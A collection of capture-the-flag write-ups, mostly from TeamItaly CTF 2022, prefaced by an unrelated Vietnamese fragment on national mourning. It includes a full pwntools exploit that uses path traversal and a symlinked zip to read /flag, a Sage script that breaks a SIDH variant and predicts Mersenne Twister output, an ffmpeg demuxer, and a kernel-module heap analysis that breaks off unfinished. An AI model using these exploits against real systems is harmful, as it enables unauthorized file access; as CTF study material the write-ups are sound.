"Không có nghĩa vụ phải hủy bỏ hoặc hoãn các sự kiện và lịch thi đấu thể thao, hoặc đóng cửa các địa điểm giải trí trong thời gian quốc tang", chính phủ cho biết trong một tuyên bố hướng dẫn.
"Đây là quyết định của các tổ chức cá nhân. Để thể hiện sự tôn trọng, các tổ chức có thể muốn xem xét việc hủy bỏ hoặc hoãn các sự kiện hoặc đóng cửa các địa điểm vào ngày quốc tang." |
# TeamItaly CTF 2022
## ImageStore (10 solves)
I keep too many photos of pizzas on my computer and my drive is almost full.Unfortunately I can't simply upload them to Google Photos because I don't like public cloud.So I decided to write my own CLI service to store all my images!
Can you read `/flag`?
This is a remote challenge, you can connect to the service with:
`nc imagestore.challs.teamitaly.eu 15000`
Tip: to input a line longer than 4095 characters on your terminal, run `stty -icanon; nc imagestore.challs.teamitaly.eu 15000`.
### Solution
The goal is to place a symlink to `/flag` in the uploads folder.There's a check against that in function 4, but we notice that there's a missing `return` instruction on an exception handler, so we can call `unzip` on an inexistent path, `/tmp/images.zip`, and it will try to open `/tmp/images.zip.zip`.We just need to place our payload on that location, and to do that we abuse function 1, which has a path traversal bug.We upload a zipfile with JPEG Magic Bytes at the beginning, containing the symlink.We call it `../../tmp/images.zip.zip` so it gets placed in the right place, and then we call function 4 with an invalid base64.Our payload gets extracted, and then we can download the flag with function 2.
### Exploit
```pythonimport osimport subprocessfrom pwn import *
JPEG_MAGIC_BYTES = b'\xff\xd8\xff\xdb'
HOST = os.environ.get("HOST", "imagestore.challs.teamitaly.eu")PORT = int(os.environ.get("PORT", 15000))
conn = remote(HOST, PORT)
conn.recvuntil(b'> ')conn.send(b'1\n') # upload an image
initial_path = os.getcwd()os.chdir('/tmp')
try: os.remove('file.zip') os.remove('flag')except: pass
subprocess.run(['ln', '-s', '/flag', 'flag'])subprocess.run(['zip', '--symlinks', 'file.zip', 'flag'])
with open('file.zip', 'rb') as zipfile: content = zipfile.read()
os.remove('file.zip')os.remove('flag')
os.chdir(initial_path)
payload = b64e(JPEG_MAGIC_BYTES + content).encode()
conn.recvuntil(b': ') # image nameconn.send(b'../../tmp/images.zip.zip\n')
conn.recvuntil(b': ') # image payloadconn.send(payload + b'\n')
conn.recvuntil(b'> ')conn.send(b'4\n') # upload multiple images
conn.recvuntil(b': ') # zip payloadconn.send(b'/\n') # invalid base64
conn.recvuntil(b'> ')conn.send(b'2\n') # download an image
conn.recvuntil(b'> ')conn.send(b'0\n') # flagconn.recvuntil(b'\n')
flag = b64d(conn.recvuntil(b'\n')).decode()
conn.close()
# Print the flag to stdoutprint(flag)``` |
# TeamItaly CTF 2022
## Elliptic Pizza (2 solves)
All italians have a secret key to order a special pizza at Sorbillo. It's impossible to fool them, you can't even read their conversations...
## Solution
### Passing the zero knowledge proof
The goal of the challenge is to pass the zero knowledge proof to get the flag from Sorbillo. The only possible ways to pass it are to discover the `italian_private_key` or to guess the coin tosses and send an appropriate value of `A`:
1. If `coin == 0` we can compute a random `r` and send `A = r*italian_G` and responde to the challenge with `r`.2. If `coin == 1` we can compute a random `r` and send `A = -italian_pub_key + r*italian_G`. Since Sorbillo will check if `m*italian_G == A + italian_pub_key`, we can just respond with `r` and pass the check.
From the source code we see that `coin = random.getrandbits(1)`, but, since `random` uses the Mersenne Twister, knowing enough random bits we can predict the outputs and pass the verification.
The only source of randomness is from the conversations we can intercept, but these are encrypted with AES and the only way to decrypt them is breaking the key exchange.
### Breaking SIDH (another time)
The key for encrypting the conversations is derived through a variant of SIDH: SIDH with masked torsion point images. The paper where this idea is proposed is https://eprint.iacr.org/2022/1054. This doesn't allow the Castryck-Decru attack. But, computing the weil pairing of the masked torsion points we have:$$e(b\cdot PB, b\cdot QB) = e(b\cdot \phi(P2), b\cdot \phi(Q2)) = e(P2, Q2)^{(b^2\cdot deg(\phi))}.$$Hence, letting B be the order of P2 and Q2, by computing the discrete logarithm of $e(b\cdot \phi(PB), b\cdot \phi(QB))$ with base $e(P2, Q2)$ we can derive:$$b^2\cdot deg(\phi) \mod(B) => b^2 \mod(B).$$In this case we know that $B = 2^a$, thus we have only 4 square roots modulo (B) and, by bruteforcing all of them and trying the Castryck-Decru attack, we can recover the secret key and derive the encryption key used for AES. (In the paper the variant proposed uses torsion points with an order that has a large number of prime factors: this way one has an exponential number import square roots modulo $B$ and this attack becomes infeasible.)
Once we have the shared key we can start decrypting the conversations and getting enough bits from `random.getrandbits` and recover the Mersenne Twister seed. At this point we can either proceed by predicting the challenges as said before or by recovering the `italian_private_key` by intercepting some other conversations and predicting `r` (suggest you to try also this way to discover what's the key).
### Exploit
```python
from hashlib import sha256from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom pwn import process, remotefrom rcrack import Untwisterimport osimport warnings
# https://github.com/jack4818/Castryck-Decru-SageMath# Thanks to all the people who contributed to this <3# For the story of the implementation: https://research.nccgroup.com/2022/08/08/implementing-the-castryck-decru-sidh-key-recovery-attack-in-sagemath/load("castryck_decru_shortcut.sage")
debug = True
def generate_distortion_map(E): return E.isogeny(E.lift_x(ZZ(1)), codomain=E)
def compute_final_curve(E, priv_key, P, Q): K = P + priv_key*Q phi = E.isogeny(K, algorithm="factored") E_final = phi.codomain() return E_final.j_invariant()
# Setup SIDH paramslA,a, lB,b = 2,91, 3,57p = lA^a * lB^b - 1Fp2. = GF(p^2, modulus=x^2+1)E_start = EllipticCurve(Fp2, [0,6,0,1,0])two_i = generate_distortion_map(E_start)P2 = E_start([689824709835763661212917891210192229166873119806353925*i + 2478485702646772354085217778801988934296596878299338050, 942903695767137584026537717052710977828250723819628138*i + 364625566770303975901492217768553886851432032784755076])Q2 = E_start([2742917099100796602246115112758864407275043210045673210*i + 1224220368752701250142143989282248366644465532537779451, 3027039163506222584359297393447359222232947335466083600*i + 3169601705630822879781127309238868216961138055829555931])P3 = E_start([3490059421151589241282844776547134156509060455350829321*i + 1794875097282666540523000574016315517012678449510183952, 3164937069244528012501785994511807136863378511336753997*i + 1615640198356510736828007505990397689903302760897759569])Q3 = E_start([1359082117671312119351641025674270894687770763828316567*i + 1701631453787849568492693572465367443829807713991899911, 1743784037307975250157545016470187260457358261256646798*i + 2069327206845474638589006802971309729221166400917212890])
HOST = os.environ.get("HOST", "elliptic-pizza.challs.teamitaly.eu")PORT = int(os.environ.get("PORT", 15012))chall = remote(HOST, PORT)
def curve_from_str(curve_str: str): split_str = curve_str.split(" + ") a2 = eval(split_str[1].split('*x')[0]) a4 = eval(split_str[2].split('*x')[0]) a6 = eval(split_str[3].split()[0]) if debug: print("a2 =", split_str[1].split('*x')[0]) print("a4 =", split_str[2].split('*x')[0]) print("a6 =", split_str[3].split()[0]) E = EllipticCurve(Fp2, [0, a2, 0, a4, a6]) return E
def point_from_str(point_str: str, E): split_str = point_str.split('(')[1].split(')')[0].split(" : ") x = eval(split_str[0]) y = eval(split_str[1]) return E([x, y])
def attack(EA, PA, QA, EB, PB, QB): x = PB.weil_pairing(QB, 2**a) base = P2.weil_pairing(Q2, 2**a) sol = log(x, base) assert base**sol == x sol = Zmod(2**a)(3**b)^-1*sol possible_bs = sol.nth_root(2,all=True) possible_bs = [possible_bs[0], possible_bs[2]]
for hope in possible_bs: origin_PB = int(Zmod(2**a)(hope)^-1)*PB origin_QB = int(Zmod(2**a)(hope)^-1)*QB try: priv_B = CastryckDecruAttack(E_start, P2, Q2, EB, origin_PB, origin_QB, two_i, num_cores=1) j = compute_final_curve(EA, priv_B, PA, QA) shared = int(j.polynomial().coefficients()[0]).to_bytes(int(p).bit_length()//8 + 1, "big") key = sha256(shared).digest() print(f"{key.hex() = }") return priv_B, hope, key except: print("Nope")
# This is to split the numbers in the right format for the Untwisterdef split_in_words(random_number, num_of_words): words = [] for _ in range(num_of_words): words.append(bin(random_number & 0xffffffff)[2:].zfill(32)) random_number >>= 32 return words
def encrypt_message(plaintext, key): iv = os.urandom(16) cipher = AES.new(key, AES.MODE_CBC, iv=iv) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size)) return iv.hex() + ciphertext.hex()
def decrypt_message(ciphertext, key): iv = ciphertext[:16] ciphertext = ciphertext[16:] cipher = AES.new(key, AES.MODE_CBC, iv=iv) plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size) return plaintext.decode()
def decrypt_conversation(key): words = [] chall.sendlineafter(b"> ", b'2') chall.recvline() for _ in range(29): for _ in range(3): chall.recvline() ciphertext = bytes.fromhex(chall.recvline().decode().split()[-1]) plain = decrypt_message(ciphertext, key) ciphertext = bytes.fromhex(chall.recvline().decode().split()[-1]) if plain == "Send me r: ": r = int(decrypt_message(ciphertext, key)) words.extend(split_in_words(r, 8)) else: for _ in range(8): words.append('?'*32) chall.recvline() words.append('?'*32) chall.recvline() return words
def get_words(words, key): while len([w for w in words if '?' not in w]) < 1400: words.extend(decrypt_conversation(key)) print(f"[+] Known words: {len([w for w in words if '?' not in w])}") return words
def get_rand(words, key): words = get_words(words, key) cracker = Untwister() for w in words: cracker.submit(w) rand = cracker.get_random() return rand
def elem_to_list(n): # I know, probably there is something better, but it works try: int(n) return [int(n), 0] except: # For numbers of the form 3*i this doesn't work, but it's very unlikely for what this function is used coefs = n.polynomial().coefficients() return coefs
# Italian parametersitalian_p = 2^255 - 19italian_Fp = GF(italian_p)italian_E = EllipticCurve(italian_Fp, [0, 486662, 0, 1, 0])
def get_flag(): chall.recvline() chall.recvline() chall.recvline() italian_G = point_from_str(chall.recvline().decode(), italian_E) italian_pub_key = point_from_str(chall.recvline().decode(), italian_E) for _ in range(7): chall.recvline()
words = [] # Sorbillo params EA = curve_from_str(chall.recvline().decode()) PA = point_from_str(chall.recvline().decode(), EA) QA = point_from_str(chall.recvline().decode(), EA) if debug: print(f"{EA = }") print(f"{PA = }") print(f"{QA = }") for _ in range(4): words.append('?'*32)
# Italian params EB = curve_from_str(chall.recvline().decode()) PB = point_from_str(chall.recvline().decode(), EB) QB = point_from_str(chall.recvline().decode(), EB) if debug: print(f"{EB = }") print(f"{PB = }") print(f"{QB = }")
priv_B, _b, key = attack(EA, PA, QA, EB, PB, QB) words.extend(split_in_words(priv_B, 2)) for _ in range(2): words.append('?'*32) if debug: print(f"{priv_B = }")
rand = get_rand(words, key) chall.sendlineafter(b"> ", b'1') priv_sorbillo = rand.getrandbits(64) _a = 3*rand.getrandbits(64) + 1 K = P2 + priv_sorbillo*Q2 phi = E_start.isogeny(K, algorithm="factored") EA = phi.codomain() print(f"{EA = }") print(chall.recvline().decode()) PA, QA = _a*phi(P3), _a*phi(Q3) print(f"{PA = }") print(f"{QA = }") print(chall.recvline().decode()) print(chall.recvline().decode()) chall.recvline()
# These was so useless, have no idea why I did it... :( priv_key = 1337 K = P3 + priv_key*Q3 phi = E_start.isogeny(K, algorithm="factored") EB = phi.codomain() a1_2, a1_1 = elem_to_list(EB.a1()) a2_2, a2_1 = elem_to_list(EB.a2()) a3_2, a3_1 = elem_to_list(EB.a3()) a4_2, a4_1 = elem_to_list(EB.a4()) a6_2, a6_1 = elem_to_list(EB.a6()) chall.sendlineafter(b"a1_1: ", str(a1_1).encode()) chall.sendlineafter(b"a1_2: ", str(a1_2).encode()) chall.sendlineafter(b"a2_1: ", str(a2_1).encode()) chall.sendlineafter(b"a2_2: ", str(a2_2).encode()) chall.sendlineafter(b"a3_1: ", str(a3_1).encode()) chall.sendlineafter(b"a3_2: ", str(a3_2).encode()) chall.sendlineafter(b"a4_1: ", str(a4_1).encode()) chall.sendlineafter(b"a4_2: ", str(a4_2).encode()) chall.sendlineafter(b"a6_1: ", str(a6_1).encode()) chall.sendlineafter(b"a6_2: ", str(a6_2).encode())
PB, QB = phi(P2), phi(Q2) xP_2, xP_1 = elem_to_list(PB[0]) yP_2, yP_1 = elem_to_list(PB[1]) xQ_2, xQ_1 = elem_to_list(QB[0]) yQ_2, yQ_1 = elem_to_list(QB[1])
chall.sendlineafter(b"xP_1: ", str(xP_1).encode()) chall.sendlineafter(b"xP_2: ", str(xP_2).encode()) chall.sendlineafter(b"yP_1: ", str(yP_1).encode()) chall.sendlineafter(b"yP_2: ", str(yP_2).encode()) chall.sendlineafter(b"xQ_1: ", str(xQ_1).encode()) chall.sendlineafter(b"xQ_2: ", str(xQ_2).encode()) chall.sendlineafter(b"yQ_1: ", str(yQ_1).encode()) chall.sendlineafter(b"yQ_2: ", str(yQ_2).encode())
j = compute_final_curve(EA, priv_key, PA, QA) shared = int(j.polynomial().coefficients()[0]).to_bytes(int(p).bit_length()//8 + 1, "big") key = sha256(shared).digest()
chall.recvline() for _ in range(30): chall.recvline() c = rand.getrandbits(1) if c: A = -italian_pub_key + 1337*italian_G else: A = 1337*italian_G chall.recvline() chall.sendline(encrypt_message(str(A[0]).encode(), key)) chall.recvline() chall.sendline(encrypt_message(str(A[1]).encode(), key)) chall.recvline() chall.sendline(encrypt_message(b'1337', key)) print(decrypt_message(bytes.fromhex(chall.recvline().decode()), key)) ciphertext = bytes.fromhex(chall.recvline().decode()) plain = decrypt_message(ciphertext, key) print(f"{plain = }")
get_flag()``` |
# TeamItaly CTF 2022
## Family business (1 solve)
You're given a bunch of unknown binary ".pizza" files and a README.md showing how these file are used to encapsulate media. The objective of the challenge is to write a demuxer, convert the videos in a playable format and find all flag pieces present in each file.
### Solution (intended)
The intended solution for this challenge is to integrate a decoder for the PIZF format in `libavformat`, which is part of ffmpeg.
This way we'll be able to decode the format by using a simple ffmpeg format, but we'll have to write a few lines of C.
After cloning the ffmpeg repo, we can start by creating a `pizfdec.h` file in the `libavformat` folder, which will contain our decoder.
Reference `pizfdec.h`
```C#include "libavutil/pixdesc.h"#include "libavutil/intreadwrite.h"#include "avformat.h"#include "internal.h"
// Constants (could also go in a separate file)#define PIZF_MAGIC MKTAG('P', 'I', 'Z', 'F')
#define PIZF_TXT MKTAG('_', 'T', 'X', 'T')#define PIZF_AUD MKTAG('_', 'A', 'U', 'D')#define PIZF_VID MKTAG('_', 'V', 'I', 'D')#define PIZF_END MKTAG('_', 'E', 'N', 'D')
#define PIZF_DATA_AUD MKTAG('d', 'A', 'U', 'D')#define PIZF_DATA_VID MKTAG('d', 'V', 'I', 'D')#define PIZF_DATA_END MKTAG('d', 'E', 'N', 'D')
const AVCodecTag ff_codec_pizf_video_tags[] = { { AV_CODEC_ID_MJPEG, MKTAG('v', 'J', 'P', 'G') }, { AV_CODEC_ID_H265, MKTAG('v', 'H', '6', '5') }, { AV_CODEC_ID_H264, MKTAG('v', 'H', '6', '4') }, { AV_CODEC_ID_MPEG4, MKTAG('v', 'M', 'P', '4') }, { AV_CODEC_ID_WMV2, MKTAG('v', 'W', 'M', 'V') }, { AV_CODEC_ID_VP9, MKTAG('v', 'V', 'P', '9') }, { AV_CODEC_ID_AV1, MKTAG('v', 'A', 'V', '1') }, { AV_CODEC_ID_NONE, 0 },};
const AVCodecTag ff_codec_pizf_audio_tags[] = { { AV_CODEC_ID_AAC, MKTAG('a', 'A', 'A', 'C') }, { AV_CODEC_ID_MP3, MKTAG('a', 'M', 'P', '3') }, { AV_CODEC_ID_VORBIS, MKTAG('a', 'V', 'B', 'S')}, { AV_CODEC_ID_FLAC, MKTAG('a', 'F', 'L', 'C')}, { AV_CODEC_ID_OPUS, MKTAG('a', 'O', 'P', 'S')}, { AV_CODEC_ID_NONE, 0 },};
// Determine if a file is a PIZF filestatic int pizf_probe(const AVProbeData* p) { if (AV_RL32(&p->buf[0]) == PIZF_MAGIC) return AVPROBE_SCORE_MAX; return 0;}
// Read PIZF file headerstatic int pizf_read_header(AVFormatContext *c) { AVIOContext *pb = c->pb;
uint8_t stream_count; uint16_t version; uint32_t duration;
AVStream* streams[255];
avio_skip(pb, 4); // Skip magic version = avio_rb16(pb); // Read version // Check version if (version != 31) { av_log(c, AV_LOG_ERROR, "Unknown version\n"); return AVERROR_INVALIDDATA; } stream_count = avio_r8(pb); duration = avio_rb32(pb); // Read duration
// Loop until end of file while (!avio_feof(pb)) { uint32_t tag_type, tag_size; uint64_t start;
tag_type = avio_rl32(pb); // Read tag type (LE) tag_size = avio_rb32(pb); // Read tag size
start = avio_tell(pb); // Save position
switch (tag_type) { case PIZF_AUD: { uint8_t stream_id; uint64_t extradata_size;
stream_id = avio_r8(pb);
// Initialize stream streams[stream_id] = avformat_new_stream(c, 0); streams[stream_id]->codecpar->codec_type = AVMEDIA_TYPE_AUDIO;
// Read values streams[stream_id]->codecpar->sample_rate = avio_rb16(pb); streams[stream_id]->codecpar->bits_per_coded_sample = avio_r8(pb); streams[stream_id]->codecpar->ch_layout.nb_channels = avio_r8(pb); streams[stream_id]->codecpar->codec_tag = avio_rl32(pb); streams[stream_id]->duration = duration;
// Find codec id streams[stream_id]->codecpar->codec_id = ff_codec_get_id(ff_codec_pizf_audio_tags, streams[stream_id]->codecpar->codec_tag);
// Find extradata size extradata_size = tag_size - (avio_tell(pb) - start); if (extradata_size > 0) { // Initialize extradata streams[stream_id]->codecpar->extradata = av_malloc(extradata_size + AV_INPUT_BUFFER_PADDING_SIZE); streams[stream_id]->codecpar->extradata_size = extradata_size;
// Read extradata avio_read(pb, streams[stream_id]->codecpar->extradata, extradata_size); }
// PTS is always 32 bit, 1/1000 avpriv_set_pts_info(streams[stream_id], 32, 1, 1000);
break; } case PIZF_VID: { uint8_t stream_id; uint64_t extradata_size; char format_name[16] = {0};
stream_id = avio_r8(pb);
// Init stream streams[stream_id] = avformat_new_stream(c, 0); streams[stream_id]->codecpar->codec_type = AVMEDIA_TYPE_VIDEO;
// Populate values streams[stream_id]->codecpar->width = avio_rb32(pb); streams[stream_id]->codecpar->height = avio_rb32(pb); avio_read(pb, format_name, 16); streams[stream_id]->codecpar->codec_tag = avio_rl32(pb); streams[stream_id]->duration = duration;
// Find and set pixel format streams[stream_id]->codecpar->format = av_get_pix_fmt(format_name);
// Find codec id streams[stream_id]->codecpar->codec_id = ff_codec_get_id(ff_codec_pizf_video_tags, streams[stream_id]->codecpar->codec_tag);
// Find extradata size extradata_size = tag_size - (avio_tell(pb) - start); if (extradata_size > 0) { // Initialize extradata streams[stream_id]->codecpar->extradata = av_malloc(extradata_size + AV_INPUT_BUFFER_PADDING_SIZE); streams[stream_id]->codecpar->extradata_size = extradata_size;
// Copy extradata avio_read(pb, streams[stream_id]->codecpar->extradata, extradata_size); }
// PTS is always 32 bit, 1/1000 avpriv_set_pts_info(streams[stream_id], 32, 1, 1000); break; } case PIZF_TXT: { uint32_t key_size, value_size; char *key, *value;
// Find sizes key_size = avio_rb32(pb); value_size = tag_size - key_size - 4;
// Allocate space key = av_malloc(key_size + 1); value = av_malloc(value_size + 1);
// Read values avio_read(pb, key, key_size); avio_read(pb, value, value_size);
// Add terminator key[key_size] = 0; value[value_size] = 0;
// Write to metadata dict av_dict_set(&c->metadata, key, value, AV_DICT_DONT_STRDUP_KEY | AV_DICT_DONT_STRDUP_VAL);
break; } case PIZF_END: return 0; default: av_log(c, AV_LOG_ERROR, "Unknown header tag\n"); return AVERROR_INVALIDDATA; }
}
return AVERROR_EOF;
}
// Read PIZF packetstatic int pizf_read_packet(AVFormatContext *c, AVPacket *pkt) { AVIOContext *pb = c->pb; int ret; uint32_t tag_type, pos;
pos = avio_tell(pb); // Save packet position tag_type = avio_rl32(pb); // Get tag type
switch (tag_type) { case PIZF_DATA_AUD: case PIZF_DATA_VID: { uint8_t stream_id; uint32_t pts, size;
// Save values stream_id = avio_r8(pb); pts = avio_rb32(pb); size = avio_rb32(pb);
// Initialize packet ret = av_get_packet(pb, pkt, size);
// Write packet values pkt->stream_index = stream_id; pkt->pts = pts; pkt->pos = pos; // Required break; } case PIZF_DATA_END: { ret = AVERROR_EOF; pb->eof_reached = 1; // Force stream end break; } default: { av_log(c, AV_LOG_ERROR, "Unknown data tag\n"); ret = AVERROR_INVALIDDATA; } }
return ret;}
// Define demuxer propertiesconst AVInputFormat ff_pizf_demuxer = { .name = "pizf", .long_name = NULL_IF_CONFIG_SMALL("Pizza File"), .extensions = "pizf,pizza", .read_probe = pizf_probe, .read_header = pizf_read_header, .read_packet = pizf_read_packet,};```
Now we have to register the codec:
In `libavformat` > `allformats.c`, we have to add
```C=27extern const AVInputFormat ff_pizf_demuxer;```
While in `libavformat` > `Makefile`
```Make=73OBJS-$(CONFIG_PIZF_DEMUXER) += pizfdec.o```
Before building, we have to run the configure script. We'll also enable some libraries in order to decode all codecs
```bash./configure --enable-libdav1d --enable-libx264```
We have to install `libdav1d-dev` and `libx264-dev` if we don't have it already, as they're required to decode the `av1` codec and re-encode everything in `h264`.
Make sure the `pizf` demuxer is enabled and, finally, build and install your ffmpeg version with
```bashmake -j10sudo make install```
Now, we can convert the files back to a playable format by issuing
```ffmpeg -i Pizza/Welcome.pizza Welcome.mp4```
There are a total of 7 flag pieces in this challenge.Most of them are directy shown in the video but some are more hidden (\*).
| Video | Flag piece | Vcodec | Acodec | # || :----------: | :-------------------------- | :----: | :-------: | :---: || Welcome | `flag{cu570m_...}` | h264 | mp3 | (1/7) || History | `flag{...f0rm4t5_...}` | mjpeg | libopus | (2/7) || Margherita | `flag{...4r3_n1c3_...}` | hevc | flac | (3/7) || Flag\* | `flag{...4nd_4ll_bu7_...}` | mpeg4 | aac | (4/7) || Traditions | `flag{...7h3_53cr37_...}` | wmv | libvorbis | (5/7) || Technology\* | `flag{...1ngr3d13n7_15...}` | vp9 | aac | (6/7) || Variety | `flag{..._l0v3!_76369}` | av1 | libopus | (7/7) |
Piece #4 is encoded as hex and written as a comment in the file metadata.Piece #6 is spelled out during the audio playback of the file.
After successfully finding all the pieces you can rebuild the complete flag
`flag{cu570m_f0rm4t5_4r3_n1c3_4nd_4ll_bu7_7h3_53cr37_1ngr3d13n7_15_l0v3!_76369}`
### Solution (semi-intended)
What if I hate C and want to write a demuxer in python?
Writing a demuxer to separate the streams is very easy, the real challenge lies in how to properly decode/remux them.
Since there are many different codecs, I expect someone using this solution to manually handle all the different quirks each of them has.
I still think it's possible, just harder. Especially since it seems wmv has no way of knowing the end of packets (and it's just weird and microsofty)
Python FFmpeg library bindings seem promising, but are a pain to use (and also seem unable to get you all the way) |
### Chall Desc : Do you wanna build a snowman?
```pyCome on let's go and play. I never see you any more. Come out the door. It's like you've gone away! We used to be best buddies, and now we're not. I wish you would tell me why.
It doesn't have to be a snowman
Flag format: IGE{XXX_XXXXX_XXXXXX_XXX_XXXXX_XXXXXX_XXX_XXXXX}```
---
### Soln
```py──(ckc9759㉿Kali)-[~/Desktop]└─$ file i_love_snow.txti_love_snow.txt: JPEG image data ┌──(ckc9759㉿Kali)-[~/Desktop]└─$ stegsnow -C i_love_snow.txtIGE{how_about_riding_our_bikes_around_the_halls} ```
#### THE FLAG : IGE{how_about_riding_our_bikes_around_the_halls}
---
Thank you |
# TeamItaly CTF 2022
## kreap (0 solves)
Description:
> One day I woke up and wanted to create a _kreap_... So I created a _kreap_. It just happens I didn't know about DAX back then...
### Solution
We are given two files: `chall`, a 64-bit ELF binary, and `kreap.ko`, a Linux kernel module.
Two hints are immediatly given by the challenge name and the description: `kreap` stands for `kernel treap`, and the description hints `DAX` (Direct Access) is probably missing in some way from the kernel module.
#### chall
We start by decompiling the `chall` binary.Checking the `.init_array` section, we can see that the binary is calling `sub_13C8+1`.

After analyzing the function, we can see that it opens `/dev/kreapctl`:
```ckreapctl = open("/dev/kreapctl", O_RDWR);```
And writes 12 bytes (3 integers) to the device, of which the first 4 bytes are set at 0. It then reads 8 bytes (2 integers) from the device.It then checks if the first integer is nonzero (error checking) and opens `/dev/kreapmem%d` where `%d` is the second integer.
```ckreapmem = open(s, O_RDWR | O_DSYNC);```
Also, there is a fini function that closes the two file descriptors.
```cint kreap_fini(){ close(kreapmem); return close(kreapctl);}```
We can see that the binary is using the `kreapctl` and `kreapmem` devices, so we can assume that the kernel module is providing these devices.
The main function displays a menu with various options:

- The first option opens `flag.txt` and calls `getline` to read the flag.- The second option calls `getline` on the `stdin`, storing the pointer to the input in a user selected slot.- The third options prints the content of a user selected slot.- The fourth option leaks the address of the pointer to the flag buffer (we'll see that this option is completely useless in this writeup).- Lastly, the fifth option calls `free` on a user selected slot.
There seems not to be any vulnerability in the main function, opening the `malloc` function, though, we see that is it redefined, as well as `free`, `calloc`, `realloc` and `reallocarray` functions.
The `malloc` function is defined as follows:
```cvoid *__fastcall malloc(size_t sz){ char *err; // rax void *result; // rax size_t no_sectors; // [rsp+10h] [rbp-30h] size_t *ptr; // [rsp+18h] [rbp-28h] int recv[2]; // [rsp+24h] [rbp-1Ch] BYREF int sent[3]; // [rsp+2Ch] [rbp-14h] BYREF unsigned __int64 canary; // [rsp+38h] [rbp-8h]
canary = __readfsqword(0x28u); no_sectors = (sz + 519) >> 9; // ceil_div(sz + 8, 512) sent[0] = 1; sent[1] = no_sectors; if ( write(kreapctl, sent, 0xCuLL) < 0 ) exit(1); if ( read(kreapctl, recv, 8uLL) < 0 ) exit(1); if ( recv[0] ) { err = strerror(recv[0]); fprintf(stderr, "malloc failed: %s", err); result = 0LL; } else { if ( recv[1] != tot_sectors ) exit(1); if ( mem ) { mem = mremap(mem, tot_sectors << 9, (tot_sectors + no_sectors) << 9, 0); if ( mem == (void *)-1LL ) exit(1); } else { mem = mmap((void *)0x100000000000LL, no_sectors << 9, 3, 19, kreapmem, 0LL); if ( mem == (void *)-1LL ) exit(1); } ptr = (size_t *)((char *)mem + 512 * tot_sectors); *ptr = no_sectors; tot_sectors += no_sectors; result = ptr + 1; } return result;}```
The function divides the size (adding 8 bytes, needed to store a size before the data allocated) by 512 (probably the sector size of the device) and then calls `write` on the `kreapctl` device with the integer 1 and the number of sectors needed to store the data.Then it calls `read` on the `kreapctl` device, and checks if the first integer is nonzero (error checking).
Upon receiving the answer from the device, it checks if the second integer received is equal to the total number of sectors allocated so far.
Then it maps a memory area as large as the number of sectors allocated times 512 bytes, stores the number of sectors allocated in the first 8 bytes of the memory area, and returns a pointer to the memory area plus 8 bytes.
The `calloc` functions simply calls `malloc` and then zeroes the memory area.
The `realloc` function calls `malloc` and then copies the data from the old memory area to the new one. It then calls `free` on the old memory area.
```cvoid *__fastcall realloc(void *ptr, size_t size){ void *result; // rax unsigned __int64 old_size; // rdx void *dest; // [rsp+10h] [rbp-10h]
if ( size ) { if ( ptr ) { dest = malloc(size); old_size = min(*((_QWORD *)ptr - 1), size); memcpy(dest, ptr, old_size); free((__int64)ptr); result = dest; } else { result = malloc(size); } } else { free((__int64)ptr); result = 0LL; } return result;}```
In the `realloc` function, the amount of data copied is the minimum between the old size and the new size, but in this comparison the "old size" is the sector size located before the actual data of the buffer and **it is not** multiplied by 512. This means that if we can trigger a reallocation of a buffer, only $\frac{\text{size}}{512}$ bytes will be copied, and the rest of the buffer will be left uninitialized.
```c/* size is in bytes, but the size stored in the buffer is in sectors */old_size = min(*((_QWORD *)ptr - 1), size);memcpy(dest, ptr, old_size);```
The `reallocarray` function just calls `realloc` with the product of the two arguments (and checks for multiplication overflow).
Lastly, the `free` function calls `write` on the `kreapctl` device with the integer 2, the sector of the buffer to free and the number of sectors to free.
Now that we have a good understanding of the binary, we can move on to the kernel module.
#### kreap.ko
Next, we analyze the `kreap.ko` binary: running `modinfo kreap.ko` we get some initial informations:
```bash❯ modinfo kreap.kofilename: /app/kreap.kolicense: GPLauthor: collodeldescription: kreap > heapsrcversion: 3347C950E699B39CFCAEB46depends:retpoline: Yname: kreapvermagic: 5.15.0-47-generic SMP mod_unload```
Along with the description, which hints in some other way that this challenge could involve the heap.
##### struct kreap_pdata
There is an array of structs of type `kreap_pdata` defined in the module:
```c/* Data exclusive to a process using the kreap module */struct kreap_pdata { /* used in kreapctl.c */ struct kreap_cmd cmd; /* last command issued to the ctl device */ struct kreap_ans ans; /* last answer calculated by the ctl device */ bool ready; /* the ctl device is ready to answer */ wait_queue_head_t wait_queue; /* wait queue for the ctl device to answer */ /* used in kreapmem.c */ struct gendisk *disk; /* disk device */ treap_ptr treap; /* the treap */ u32 next_sector; /* the next sector that will be allocated */ u32 free_sectors; /* the number of free sectors */
/* used to create a node in /dev */ struct device *device;};
static struct kreap_pdata kreap_pdata_arr[KREAP_MAX_PROCESSES];```
This structure is referenced in various places in the code, such as `kreapctl_open`. The `cmd` and `ans` fields are used to store the last command and answer issued to the `kreapctl` device, while the `ready` field is used to check if the `kreapctl` device is ready to answer. The `wait_queue` field is used to wait for the `kreapctl` device to receive a full command before answering.Also we can observe that there is a different `disk` and a separate `treap` for each process using the module.
##### kreapctl
After some tedious reverse engineering we can see that the kernel module creates a character special device (with major 69) called `kreapctl` that is used to interact and send command to the kernel module.
`kreapctl` implements four operations from the struct `file_operations`:
```cstatic const struct file_operations kreap_file_operations = { .owner = THIS_MODULE, .open = kreapctl_open, .release = kreapctl_release, .read = kreapctl_read, .write = kreapctl_write};```
Let's see what each of them does.
- `kreapctl_open` is called when the device is opened, it mainly creates a new `kreapmem` disk (we'll see what it is later) and initializes the private_data pointers.
- `kreapctl_release` is called when the device is closed, it frees the `kreapmem` disk and all the sectors allocated, also NULLs the private_data pointers.
- `kreapctl_read` is called when the device is read, it waits for a flag `kreap_pdata.ready` before executing any code, and allows a program to read an answer to a command issued to the module.
- `kreapctl_write` is called when the device is written, it sets the flag `kreap_pdata.ready` to 1, when it reads a full command, it then executes the command sent to the module. The commands that can be issued to the device are the following: - `CMD_GET_DISK`: returns the disk minor of the `kreapmem` disk allocated for this fd. - `CMD_MALLOC`: takes as argument a size (in sectors), and returns the address of a sector where the asked size is being allocated (in the `kreapmem` disk). - `CMD_FREE`: takes as argument an offset (in sectors) and the number of sectors to free, it then frees the memory allocated at that address.
##### kreapmem
